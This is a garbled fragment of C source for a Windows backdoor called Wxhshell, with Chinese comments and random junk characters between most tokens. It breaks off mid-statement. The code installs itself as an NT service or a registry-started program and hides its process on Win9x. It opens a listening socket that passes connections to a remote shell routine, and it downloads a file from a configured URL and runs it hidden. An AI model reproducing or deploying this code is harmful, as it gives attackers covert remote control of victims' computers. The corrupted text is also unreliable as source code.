qJKD|=_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hT#[[md" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;q59Cr 75 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mM&H;W 8S&` if (!NtQueryInformationProcess) return 0; JIQS'r v_En9~e^n hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P] ouLjyq if(!hProcess) return 0; zsc8Lw \|L@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \ 2*<Pq VrrCW/o CloseHandle(hProcess); 1)X%n)2pr
3_+-t5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K3M<% if(hProcess==NULL) return 0; 0,{Dw9W: j"7 z HMODULE hMod; [}N?'foLb char procName[255]; ]+{Cy\*kR unsigned long cbNeeded; bo4 :|Z ebcGdC/%> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X)$3sTj O
sbY}*S CloseHandle(hProcess); 25NZIal< fr4#<6, if(strstr(procName,"services")) return 1; // 以服务启动 0bVtku K;G Y, )'0O return 0; // 注册表启动 nxA Y]Q } b,cA mZ 'RC(ss1G // 主模块 (&=-o( int StartWxhshell(LPSTR lpCmdLine) SL?
!
RQ { D: NBb!
SOCKET wsl; MLG%+@\ BOOL val=TRUE; "[q/2vC int port=0; cAogz/<S struct sockaddr_in door; z
AacX@ DyD#4J)E if(wscfg.ws_autoins) Install(); E;fYL]j/oZ Hl8-1M$& port=atoi(lpCmdLine); v[q2OWcL ;oH17 if(port<=0) port=wscfg.ws_port; }3!83~Qbx snK$? 9vh WSADATA data; *!ZU"q}i if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k3da*vwE \SHYwD}*Pr if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A|,\}9)4X[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ce0TQ door.sin_family = AF_INET; 5hUYxF20h8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8$io^n\i door.sin_port = htons(port); |CexP^;!U 47ppyh6@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hWfJh0I closesocket(wsl); rW0# 6 return 1; . p^='Kz? } I3uaEv7OZc <x,u!}5J if(listen(wsl,2) == INVALID_SOCKET) { F42r]k closesocket(wsl); @F]6[ return 1; Cg
|_) _w } cpF\^[D Wxhshell(wsl); '>^+_|2 WSACleanup();
?}e8g KdHR.;* return 0; 8 P.t (\{9W } r /63 mT
<4@RrB // 以NT服务方式启动 YAv-5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2
:u4~E3 { 22"M#:r$ DWORD status = 0; T;XEU%:LK DWORD specificError = 0xfffffff; q(M[ij PspH[db serviceStatus.dwServiceType = SERVICE_WIN32; qAUqlSP5 serviceStatus.dwCurrentState = SERVICE_START_PENDING; \K.i8f, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2f9~:.NgF serviceStatus.dwWin32ExitCode = 0; 'S@% serviceStatus.dwServiceSpecificExitCode = 0; }{[H@uhjH serviceStatus.dwCheckPoint = 0; FbO-K- serviceStatus.dwWaitHint = 0; $Q{)AN;m +Pd&YfU9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _A|1_^[G( if (hServiceStatusHandle==0) return; z6#N f, 4(o: #9I status = GetLastError(); z9}rT<hy if (status!=NO_ERROR) LzB)o\a { ]:(>r&' serviceStatus.dwCurrentState = SERVICE_STOPPED; GMU.Kt serviceStatus.dwCheckPoint = 0; $~`a,[e< serviceStatus.dwWaitHint = 0; =24)`Lyb serviceStatus.dwWin32ExitCode = status; I&l 1b> serviceStatus.dwServiceSpecificExitCode = specificError; 2+M(!FHfy SetServiceStatus(hServiceStatusHandle, &serviceStatus); -l+&Bkf return; VI,z7
\ } i;;CU9`E2q dE!{=u(!i serviceStatus.dwCurrentState = SERVICE_RUNNING; B(wk $2 serviceStatus.dwCheckPoint = 0; ;2q;RT`h serviceStatus.dwWaitHint = 0; M p:c. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M8X*fYn } @+h2R 5gARGA // 处理NT服务事件,比如:启动、停止 4Z)`kS}=] VOID WINAPI NTServiceHandler(DWORD fdwControl) -%*>z'|{ { 8+{WH/}y8 switch(fdwControl) }`{>]2 { U>7"BpC case SERVICE_CONTROL_STOP: hSSF] serviceStatus.dwWin32ExitCode = 0; ]`0(^)U& serviceStatus.dwCurrentState = SERVICE_STOPPED; WY_}D!O serviceStatus.dwCheckPoint = 0; XeX0\L')R serviceStatus.dwWaitHint = 0; I~H:-"2 { BoYWx^VHx^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q%KH^< } IE.JIi^w return; d!7cIYVZ case SERVICE_CONTROL_PAUSE: X&nkc/erx serviceStatus.dwCurrentState = SERVICE_PAUSED; S!A)kK+ break; Zy,U'Dv case SERVICE_CONTROL_CONTINUE: $j0]+vT serviceStatus.dwCurrentState = SERVICE_RUNNING; QFU;\H/ break; m:5 *:Ii. case SERVICE_CONTROL_INTERROGATE: I1^0RB{~ break; S1(. AI~ }; ]b4*`}\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ftq&<8 } vNlYk Iz,a
Hrq // 标准应用程序主函数 $]|fjB#D int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wcUf?`21, { RKFj6u 7\@[e, ^9 // 获取操作系统版本 hu%rp{m^, OsIsNt=GetOsVer(); G`!#k!&r GetModuleFileName(NULL,ExeFile,MAX_PATH); jG)fM? mj=$[y( // 从命令行安装 |UZPn>F~ if(strpbrk(lpCmdLine,"iI")) Install(); 9Xo'U;J g#ubxC7t< // 下载执行文件 ^eQK.B( if(wscfg.ws_downexe) { Z2~;u[0a[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,pE{N&p9 WinExec(wscfg.ws_filenam,SW_HIDE); Zm& X $U } L^3~gZ ,u7:l if(!OsIsNt) { !q=ej^(S // 如果时win9x,隐藏进程并且设置为注册表启动 %myg67u HideProc(); W4Rs9NA} StartWxhshell(lpCmdLine); 9Slx.9f } -'3~Y
2# else ;V`e%9. if(StartFromService()) Zm,< |